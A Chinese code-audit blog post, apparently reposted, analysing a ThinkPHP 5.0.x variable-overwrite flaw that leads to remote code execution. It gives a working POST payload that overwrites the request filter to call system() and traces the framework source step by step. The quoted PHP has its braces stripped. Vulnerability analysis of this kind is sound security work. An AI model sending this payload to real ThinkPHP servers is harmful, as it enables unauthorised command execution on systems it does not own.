[代码审计]ThinkPHP 5.0.x 变量覆盖导致的RCE分析

Posted 2021-12-19 huamanggg

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了[代码审计]ThinkPHP 5.0.x 变量覆盖导致的RCE分析相关的知识，希望对你有一定的参考价值。

前言

漏洞存在版本，分为两大版本：

Thinkphp 5.0-5.0.24
ThinkPHP 5.1.0-5.1.30

环境搭建

composer create-project topthink/think=5.0.5 thinkphp5.0.5  --prefer-dist

修改composer.json

"require": 
    "php": ">=5.4.0",
    "topthink/framework": "5.0.5"
,

执行composer update
访问public/index.php

漏洞分析

payload:

_method=__construct&method=get&filter[]=system&get[]=whoami

在thinkphp/library/think/Request.php中的method方法里面

public function method($method = false)
    
        if (true === $method) 
            // 获取原始请求类型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
         elseif (!$this->method) 
            if (isset($_POST[Config::get('var_method')])) 
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->$this->method($_POST);
             elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) 
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
             else 
                $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
            
        
        return $this->method;

看这里的判断，跟进一下config的get方法

if (isset($_POST[Config::get('var_method')])) 
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->$this->method($_POST);

他执行了Config::get('var_method')，把参数var_method给传进去

    public static function get($name = null, $range = '')
    
        $range = $range ?: self::$range;
        // 无参数时获取所有
        if (empty($name) && isset(self::$config[$range])) 
            return self::$config[$range];
        

        if (!strpos($name, '.')) 
            $name = strtolower($name);
            return isset(self::$config[$range][$name]) ? self::$config[$range][$name] : null;
         else 
            // 二维数组设置和获取支持
            $name    = explode('.', $name);
            $name[0] = strtolower($name[0]);
            return isset(self::$config[$range][$name[0]][$name[1]]) ? self::$config[$range][$name[0]][$name[1]] : null;

返回了一个$config[$range][$name]，即config[_sys_][var_method]，他的值就是_method

所以当我们传入_method=xxx的时候，就可以控制这个$this->$this->method($_POST);，从而去执行想要执行的函数

 if (isset($_POST[Config::get('var_method')])) 
     $this->method = strtoupper($_POST[Config::get('var_method')]);
     $this->$this->method($_POST);

再看这个类的__construct方法

这个循环会造成一个变量覆盖，而且还是循环的覆盖，可以覆盖很多的值

清楚了漏洞存在的根本原因，接下来我们直接从入口开始分析，public/index.php

再跟进start.php

调用了一个App的run方法
再跟进这个方法，这里检测路由会调用routeCheck方法

// 获取应用调度信息
$dispatch = self::$dispatch;
if (empty($dispatch)) 
    // 进行URL路由检测
    $dispatch = self::routeCheck($request, $config);

// 记录当前调度信息
$request->dispatch($dispatch);

routeCheck里面调用了Route的check方法

再跟进看到这里调用到了request的method方法

之后就是接上前面分析的request类，传参数_method=__construct进入request类的__construct方法

开始变量的覆盖

filter[]=system
get[]=whoami
method=GET

再回到check方法，返回return $this->method;，由于我们传的参数有一个是method=get，所以变量覆盖后，返回的就是get
如果不做这一步（method=get）返回的就是一些乱七八糟，后续中就可能会出错

再走出去回到app类的run()方法
判断debug，进入分支内，可以看到有一个$request->param()

这里vars会被赋值成我们post的数据

这里会执行一个array_merge，合并一下url和post中的参数

先进去get方法，因为我们已经通过变量覆盖为get赋值了，所以不会进入判断条件
再进入input方法，第一个参数传的是$this->get，这个参数是被我们变量覆盖成whoami的

进去后直接就返回了whoami

出来后param变成了这样，param[0]=whoami

再走到input方法，把param传进去，形参是data

这里再进入filterValue方法，参数继续传下去，data和filter

到这里value就是data，即whoami
filter就是filters遍历出来的，之前遍历覆盖成了system
这样就成功的执行了system(“whoami”)